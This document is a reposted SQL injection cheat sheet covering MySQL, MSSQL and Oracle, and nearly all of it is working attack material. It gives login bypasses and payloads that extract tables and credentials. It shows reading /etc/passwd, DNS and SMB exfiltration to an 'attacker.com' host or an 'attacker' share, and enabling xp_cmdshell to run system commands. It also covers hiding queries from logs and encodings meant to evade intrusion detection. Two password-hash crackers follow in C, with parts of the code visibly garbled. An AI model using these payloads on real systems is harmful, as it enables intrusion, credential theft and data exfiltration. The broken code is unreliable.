ICT Specialist

SQL Injection Pocket Reference

(SQL Injection Cheat Sheet)

MySQL
Default Databases
Comment Out Query
Testing Injection
Strings
Numeric
In a login
Testing Version
MySQL-specific code
Database Credentials
Database Names
Tables & Columns
Finding out number of columns
Order By
Error Based
Retrieving Tables
Retrieving Columns
PROCEDURE ANALYSE()
Retrieving Multiple Tables/Columns at once
Find Tables from Column Name
Find Column From Table Name
Avoiding the use of single/double quotations
String concatenation
Privileges
FILE privilege
MySQL 4/5
MySQL 5
Out Of Band Channeling
Timing
DNS (requires FILE privilege)
SMB (requires FILE privilege)
Reading Files (requires FILE privilege)
Writing Files (requires FILE privilege)
Stacked Queries with PDO
User Defined Functions
Fuzzing and Obfuscation
Allowed Intermediary Characters
Allowed Intermediary Characters after AND/OR
Operators
Constants
MySQL Functions()
MySQL Password Hashing
MySQL Password() Cracker
MSSQL
Default Databases
Comment Out Query
Testing Version
Database Credentials
Database Server Hostname
Database Names
Tables & Columns
Retrieving Tables
Retrieving Columns
Retrieving Multiple Tables/Columns at once
OPENROWSET Attacks
System Command Execution
SP_PASSWORD (Hiding Query)
Stacked Queries
Fuzzing and Obfuscation
Encodings
Allowed Intermediary Characters
Allowed Intermediary Characters after AND/OR
MSSQL Password Hashing
MSSQL Password Cracker
ORACLE
Default Databases
Comment Out Query
Testing Version
Database Credentials
Database Names
Current Database
User Databases
Tables & Columns
Retrieving Tables
Retrieving Columns
Finding Tables from Column Name
Finding Column From Table Name
Fuzzing and Obfuscation
Avoiding the use of single/double quotations
Out Of Band Channeling
Time Delay
Heavy Query Time delays

Credits

I would like to thank .mario, Reiners and everyone else who has helped me in making this document what it is today. You can reach me at twitter.com/LightOS with any suggestions you may have and remember this is still a work in progress, so be sure to check in frequently for updates.

MySQL

Default Databases

mysql (Privileged)
information_schema (Version >= 5)

Comment Out Query

#
/*
— -
;%00
`

Example:

‘ OR 1=1 — -’ ORDER BY id;
‘ UNION SELECT 1, 2, 3`

Note:
The backtick can only be used to end a query when used as an alias.

Testing Injection

False
The query is invalid (MySQL errors/missing content on website)
True
The query is valid (content is displayed as usual)

Strings

‘ – False
” – True
” – False
“” – True
\ – False
\\ – True

Numeric

AND 0 – False
AND 1 – True
2-1 – 1
3-2 – 1

In a login

‘ OR ’1
‘ OR 1 — -
” OR “” = ”
” OR 1 = 1 — –
‘=’
‘LIKE’
‘=0–+

Example:

SELECT * FROM Users WHERE username = ‘Mike’ AND password = ”=”

SELECT * FROM Users WHERE username = ‘Mike’ AND password = ” OR ” = ”

Note:

You can use as many apostrophes/quotations as you want as long as they pair up
SELECT * FROM Articles WHERE id = ’121””””””’
It’s also possible to continue the statement after the chain of quotes: SELECT ’1””’”" UNION SELECT ’2′ # 1 and 2
Quotes escape quotes: SELECT ’1”’ # 1′

Testing Version

VERSION();
@@VERSION;
@@GLOBAL.VERSION

Example: ‘ AND MID(VERSION(),1,1) = ’5 – True if MySQL version is 5

Note:

You can use comments in between the name and the parenthesis and inside the parenthesis
Example: VERSION/**/(/**/)
Output will contain -nt-log in case the DBMS runs on a Windows based machine

MySQL-specific code
MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Example:

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null– ,*//*!30000 3,null– x*/0,null–+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/*/);

Database Credentials

Table: mysql.user (Privileged)
Columns: user, password
Current User: user(), current_user(), system_user(), session_user()

Example:

SELECT current_user;
UNION SELECT CONCAT(user, 0x3A, password) FROM mysql.user WHERE user = ‘root’

Database Names

Tables: information_schema.schemata, mysql.db
Columns: schema_name, db
Current DB: database(), schema()

Example:

UNION SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT(db) FROM mysql.db (Privileged)

Tables & Columns
Finding out number of columns
Order By

ORDER BY 1
ORDER BY 2
ORDER BY …

Note:
Keep incrementing the number until you get a False response.

Example:

1′ ORDER BY 1– – True
1′ ORDER BY 2– – True
1′ ORDER BY 3– – True
1′ ORDER BY 4– – False (Query is only using 3 columns)
-1′ UNION SELECT 1,2,3– -

Error Based

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
Operand should contain 3 column(s)

Note:

This works if you know the table name you’re after and error showing is enabled
It will return the amount of columns in the table, not the query.

Retrieving Tables

Union:
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
Blind:
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’
Error:
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));– Available in 5.1.5

Note:

version=9 for MySQL 4
version=10 for MySQL 5

Retrieving Columns

Union:
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
Blind:
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’

Error:
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– Available in MySQL 5.1.5
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– Fixed in MySQL 5.1
Procedure Analyse():
Refer to PROCEDURE ANALYSE() below.

Note:
The GROUP_CONCAT() function allows grouping of the tables/columns, instead of viewing them one at a time.

Note:

Output is limited to 1024 chars by default.
All default database table names: ~900 chars
All default database column names: ~6000 chars

PROCEDURE ANALYSE()

1 PROCEDURE ANALYSE() #get first column name
1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name

Note:
It is necessary that the webapp will display the first selected column of the SQL query you are injecting to.

Retrieving Multiple Tables/Columns at once

UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; – Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; – Finds the table names for any columns that contain the word user.

Find Column From Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’;
SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;

Avoiding the use of single/double quotations

UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = 0x61646D696E
UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

String concatenation

SELECT CONCAT(‘a’,'a’,'a’)
SELECT ‘a’ ‘d’ ‘mi’ ‘n’
SELECT/*/’a'/*/ ‘d’/*/ ‘mi’/*/ ‘n’ (phpMyAdmin)

Privileges
FILE privilege
MySQL 4/5

‘ UNION SELECT file_priv FROM mysql.user WHERE user = ‘username
‘ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y

MySQL 5

‘ UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%
‘ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

Out Of Band Channeling
Timing

BENCHMARK()
SLEEP() (MySQL 5)
IF(), (CASE()WHEN)

Example:

‘ – (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘test’)), false)) – ‘

DNS (requires FILE privilege)

SELECT LOAD_FILE(concat(‘\\\\foo.’,(select MID(version(),1,1)),’.attacker.com\\’));

SMB (requires FILE privilege)

‘ OR 1=1 INTO OUTFILE ‘\\\\attacker\\SMBshare\\output.txt

Reading Files (requires FILE privilege)

LOAD_FILE()
UNION SELECT LOAD_FILE(‘/etc/passwd’)– -
UNION SELECT LOAD_FILE(0x2F6574632F706173737764)– -

Note:

File must be located on the server host
The basedirectory for load_file() is the @@datadir
The file must be readable by the MySQL user
The file size must be less than max_allowed_packet
UNION SELECT @@max_allowed_packet (default value is 1047552 Byte)

Writing Files (requires FILE privilege)

INTO OUTFILE/DUMPFILE
UNION SELECT ‘code’ INTO OUTFILE ‘/tmp/file

Note:

You can’t overwrite files with INTO OUTFILE
INTO OUTFILE must be the last statement in the query
There is no way to encode the pathname, so quotes are required

Stacked Queries with PDO

Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.

Example:

AND 1=0; INSERT INTO Users(username,password,priv) VALUES (‘BobbyTables’, ‘kl20da$$’,'admin’);

User Defined Functions
UDF -R S 10/6/10 10:56 AM

Fuzzing and Obfuscation
Allowed Intermediary Characters

09
0A
0B
0C
0D
A0

Example: ‘%0A%09UNION%0CSELECT%10NULL%23

28
29

Example: UNION(SELECT(column)FROM(table))

Note:
Encoding your injection can sometimes be useful for IDS evasion.

%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31
SELECT %74able_%6eame FROM information_schema.tables;
SELECT %2574able_%256eame FROM information_schema.tables;
SELECT %u0074able_%u6eame FROM information_schema.tables;

Futhermore, by using # or — followed by a newline, we can split the query into separate lines, sometimes tricking the IDS.

1′#
AND 0–
UNION# I am a comment!
SELECT@tmp:=table_name x FROM–
`information_schema`.tables LIMIT 1#

URL Encoded: 1′%23%0AAND 0–%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM–%0A`information_schema`.tables LIMIT 1%23

Allowed Intermediary Characters after AND/OR

2B
2D
7E

Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

$prefixes = array(” “, “+”, “-”, “~”, “!”, “@”, ” “);

09
0A
0B
0D
0C
20
A0

Example: SELECT 1 FROM information_schema%20%0C%20.%20%09tables;

Operators
$operators = array(“^”, “=”, “!=”, “%”, “/”, “*”, “&”, “&&”, “|”, “||”, “<", ">“, “>>”, “<<", ">=”, “<=", "<>“, “<=>“, “AND”, “OR”, “XOR”, “DIV”, “LIKE”, “RLIKE”, “SOUNDS LIKE”, “REGEXP”, “IS”, “NOT”);

Constants

current_user
null, \N
true, false

MySQL Functions()

MySQL Password Hashing
(Taken from Mysql.com)

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:
+—————————–+
| PASSWORD(‘mypass’) |
+—————————–+
| 6f8c114b58f2ce9e |
+—————————–+

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:
+———————————————————————–+
| PASSWORD(‘mypass’) |
+———————————————————————–+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+———————————————————————–+

MySQL Password() Cracker
Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords.

MySQL < 4.1 Password Cracker

This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* – making two passes over the password
* – using a bitwise rotate instead of a left shift
* – causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) – (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i–;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << ^ targ1);
targ3 = targ2 - ((targ3 << ^ targ1);
targ3 = targ2 - ((targ3 << ^ targ1);

for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf(“Pass not found\n”);
}

int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}

MSSQL

Default Databases

pubs
model
msdb
tempdb
northwind
information_schema (>= 2000)

Comment Out Query

/*
–
%00

Testing Version

@@VERSION
VERSION()

Database Credentials

Database.Table:
master..syslogins, master..sysprocesses
Columns:
name, loginameCurrent User: user, system_user, suser_sname(), is_srvrolemember(‘sysadmin’)
Database Credentials:
SELECT user, password FROM master.dbo.sysxlogins

Example:

SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; — Returns current user
SELECT (CASE WHEN (IS_SRVROLEMEMBER(‘sysadmin’)=1) THEN ’1′ ELSE ’0′ END);– Is Admin?

Database Server Hostname

@@servername
SERVERPROPERTY()

Example:
SELECT SERVERPROPERTY(‘productversion’), SERVERPROPERTY(‘productlevel’), SERVERPROPERTY(‘edition’) –
Only available >= SQL Server 2005

Database Names

Table: master..sysdatabases
Column: name
Function: DB_NAME(i)

Example:

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(5);

We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns.

Tables & Columns
Retrieving Tables

Union:
UNION SELECT name FROM master..sysobjects WHERE xtype=’U’ –
Blind:
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > ‘A’
Error Based:
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

Note:
Xtype = ‘U’ is for User-defined tables. You can use ‘V’ for views.

Retrieving Columns

Union:
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = ‘tablename’)
Blind:
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > ‘A’
Error Based:
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

Retrieving Multiple Tables/Columns at once
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it, it will then dump the table content and finish by deleting the table.

Create Temp Table/Column and Insert Data:
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=’:’ SELECT @xy=@xy+’ ‘+name FROM sysobjects WHERE xtype=’U’ AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
Dump Content:
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
Delete Table:
AND 1=0; DROP TABLE TMP_DB;

Note:
You can encode your query in hex to “obfuscate” your attack.
‘ and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);–sp_password

OPENROWSET Attacks
SELECT * FROM OPENROWSET(‘SQLOLEDB’, ’127.0.0.1′;’sa’;'p4ssw0rd’, ‘SET FMTONLY OFF execute master..xp_cmdshell “dir”‘)

System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

EXEC master.dbo.xp_cmdshell ‘cmd’

Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries:

EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘xp_cmdshell’, 1
EXEC sp_configure reconfigure

Alternatively, you can create your own procedure to achieve the same results

DECLARE @execmd INT
EXEC SP_OACREATE ‘wscript.shell’, @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, ‘run’, null, ‘%systemroot%\system32\cmd.exe /c’

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command.

EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘OLE Automation Procedures’, 1
EXEC sp_configure reconfigure

Example:

‘ IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=’TMP_DB’) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N’[dbo].[xp_cmdshell]‘) AND OBJECTPROPERTY (id, N’IsExtendedProc’) = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure ‘xp_cmdshell’ IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell ‘dir’ SELECT @a=” SELECT @a=Replace(@a%2B’
‘%2Bdir,’

‘,’‘) FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a=’xp_cmdshell not enabled’ DROP TABLE %23xp_cmdshell END ELSE SELECT @a=’xp_cmdshell not found’ SELECT @a AS tbl INTO TMP_DB–
‘ UNION SELECT tbl FROM TMP_DB–
‘ DROP TABLE TMP_DB–

This example checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the ‘dir’ command and inserts the results into TMP_DB.

SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

Example: ‘ and 1=1–sp_password

– ‘sp_password’ was found in the text of this event.
– The text has been replaced with this comment for security reasons.

Stacked Queries

‘ AND 1=0 INSERT INTO ([column1], [column2]) VALUES (‘value1′, ‘value2′)

Fuzzing and Obfuscation
Encodings

Hex
‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);–sp_password
URL Encoded
%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%64%75%61%6c
Double URL Encoded
%2553%2545%254c%2545%2543%2554%2520%2531%2520%2546%2552%254f%254d%2520%2564%2575%2561%256c

Unicode
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0031%u0020%u0046%u0052%u004f%u004d%u0020%u0064%u0075%u0061%u006c

HTML Entities (Needs to be verified)
AND 1=1 (&# has to be URL Encoded)
%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

Allowed Intermediary Characters

01-1F
25

Example:

S%E%L%E%C%T%01column%02FROM%03table%00
A%%ND 1=%%%%%%%%1

Note:
The percentage signs in between keywords is only possible on ASP

28
29

Example: UNION(SELECT(column)FROM(table))

5B
5D
22

Example: SELECT”table_name”FROM[information_schema].[tables]
Allowed Intermediary Characters after AND/OR

01-1F
2B
2D
2E
5C
7E

Example: SELECT 1FROM[table]WHERE\1=\1AND\1=\1

Note:
The backslash doesn’t seem to work with MSSQL 2000

MSSQL Password Hashing
Passwords begin with 0×0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version.

Example:
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE9 …
1C0784B911D76BF4EB124550ACABDFD1457

MSSQL Password Cracker
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
FILE *fd=NULL;
char *lerr = “\nLength Error!\n”;
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf(“\n\n*** SQLCrack *** \n\n”);
printf(“C:\\>%s hash passwd-file\n\n”,argv[0]);
printf(“David Litchfield (david@ngssoftware.com)\n”);
printf(“24th June 2002\n”);
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf(“\nThere was an error opening the password file %s\n”,argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf(“\n\n%d”,wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,”r”);
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]=”";
char pheader[8]=”";
char pkey[12]=”";
char pnorm[44]=”";
char pucase[44]=”";
char pucfirst[8]=”";
char wttf[44]=”";
char uwttf[100]=”";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]=”";
int len=0;
if(strlen(hash) !=94)
{
return printf(“\nThe password hash is too short!\n”);
}
if(hash[0]==0×30 && (hash[1]== ‘x’ || hash[1] == ‘X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf(“\nHeader\t\t: %s”,pheader);
if(strlen(pheader)!=4)
return printf(“%s”,lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf(“\nRand key\t: %s”,pkey);
if(strlen(pkey)!=8)
return printf(“%s”,lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf(“\nNormal\t\t: %s”,pnorm);
if(strlen(pnorm)!=40)
return printf(“%s”,lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf(“\nUpper Case\t: %s”,pucase);
if(strlen(pucase)!=40)
return printf(“%s”,lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,”%x”,&cmp);
}
else
{
return printf(“The password hash has an invalid format!\n”);
}
printf(“\n\n Trying…\n”);
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf(“FAILLLLLLL!!!”);
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf(“\nEnd of password file. Didn’t find the password.\n”);
wd++;
len = strlen(wttf);
wttf[len-1]=0×00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf(“Error %x during CryptCreatHash!\n”, GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf(“Error %x during CryptHashData!\n”, GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}

ORACLE

Default Databases

SYSTEM
SYSAUX

Comment Out Query

--

Testing Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'
SELECT version FROM v$instance

Database Credentials

SELECT username FROM all_users
SELECT name, password from sys.user$ (Privileged, <= 10g)
SELECT name, spare4 from sys.user$ (Privileged, <= 11g)

Database Names
Current Database

SELECT name FROM v$database;
SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL

User Databases

SELECT DISTINCT owner FROM all_tables;

Tables & Columns
Retrieving Tables

SELECT table_name FROM all_tables

Retrieving Columns

SELECT column_name FROM all_tab_columns

Finding Tables from Column Name

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users'

Finding Column From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = 'password'

Fuzzing and Obfuscation
Avoiding the use of single/double quotations

Unlike other RDBMS, Oracle allows us to reference table/column names encoded.

SELECT chr(32)||chr(92)||chr(93) FROM dual
SELECT 0x09120911091

Out Of Band Channeling
Time Delay

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual

Heavy Query Time delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1))